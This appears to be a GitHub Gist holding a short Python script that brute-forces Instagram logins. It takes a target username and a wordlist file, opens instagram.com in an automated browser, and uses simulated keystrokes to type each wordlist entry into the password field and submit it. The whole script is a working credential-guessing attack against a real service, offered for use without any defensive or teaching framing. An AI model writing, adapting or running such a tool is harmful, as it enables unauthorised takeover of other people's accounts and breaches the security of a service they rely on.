Created
January 22, 2021 16:31
-
-
Save theDreamer911/ceef6267043dc78970e1704a928c9728 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from webbot import Browser | |
from pynput.keyboard import Key, Controller | |
import time | |
username = input('Username: ') | |
dictionary = input('Choose Dictionary: ') | |
file = open(f'{dictionary}.txt', 'r') | |
bruteforce = [] | |
for line in file: | |
line = line.strip() | |
bruteforce.append(line) | |
file.close() | |
web = Browser() | |
keyboard = Controller() | |
web.go_to('www.instagram.com') | |
time.sleep(3) | |
keyboard.press(Key.enter) | |
keyboard.release(Key.enter) | |
time.sleep(3) | |
keyboard.press(Key.tab) | |
keyboard.release(Key.tab) | |
time.sleep(3) | |
web.type(username) | |
keyboard.press(Key.tab) | |
keyboard.release(Key.tab) | |
for brute in bruteforce: | |
web.type(brute, into="Password") | |
keyboard.press(Key.enter) | |
keyboard.release(Key.enter) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment